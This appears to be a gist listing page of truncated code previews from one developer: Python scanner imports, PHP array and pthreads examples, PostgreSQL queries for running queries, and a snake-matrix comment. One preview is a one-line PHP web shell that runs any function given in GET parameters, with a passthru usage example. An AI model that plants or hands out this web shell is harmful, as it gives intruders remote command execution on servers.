Procnscan, a socket based scan to read and send requests.
Pending
# -*- coding: utf-8 -*- | |
# Author: @proclnas | |
# Created: 01/12/2015 | |
# Licence: <MIT> | |
import requests | |
import os | |
import argparse | |
from sys import exit | |
from bs4 import BeautifulSoup |
<?php | |
/** | |
* Created by PhpStorm. | |
* User: Rodrigo | |
* Date: 02/05/2016 | |
* Time: 21:17 | |
*/ | |
require_once '/../vendor/autoload.php'; |
//(c) mastahyeti | |
//mini php shell | |
//usage: http://example.com?1=function_name&2=function_arguments | |
//example: http://example.com?1=passthru&2=ls | |
<? $_GET[1]($_GET[2]) ?> |
<?php | |
/** | |
* | |
* A snake matrix is a square matrix that follows this pattern: | |
* | |
* 3-by-3: | |
* 1 2 3 | |
* 6 5 4 | |
* 7 8 9 |
-- show running queries (pre 9.2) | |
SELECT procpid, age(query_start, clock_timestamp()), usename, current_query | |
FROM pg_stat_activity | |
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%' | |
ORDER BY query_start desc; | |
-- show running queries (9.2) | |
SELECT pid, age(query_start, clock_timestamp()), usename, query | |
FROM pg_stat_activity | |
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%' |
# /usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import requests | |
import os | |
import re | |
import argparse | |
import sys | |
from bs4 import BeautifulSoup | |
from threading import Thread, Event, Lock |
<?php | |
// run with php7 | |
// php ex-pthreads.php -t thread | |
$opt = getopt('t:'); | |
if (!isset($opt['t'])) | |
exit (sprintf('php %s -t threads' . PHP_EOL, $argv[0])); | |
$myArray = [ | |
'http://wikipedia.org', | |
'http://yahoo.com', |
<?php | |
$request = ['id_usuario' => 1, 'id_campo' => 2, 'id_loja' => 3, 'id_campanha' => 4]; | |
$colunasModelA = ['id_usuario', 'id_campo']; | |
$colunasModelB = ['id_loja', 'id_campanha']; | |
$dadosParseados = [ | |
'modelA' => [], | |
'modelB' => [] | |
]; |
<?php | |
/** | |
* Monta string à partir de um array de chave/valor | |
*/ | |
// rodrigo@blue-wind[~/repositorios/php] $ php reduce.php | |
// <a href="http://google.com" id="java" class="php"/> | |
$a = [ |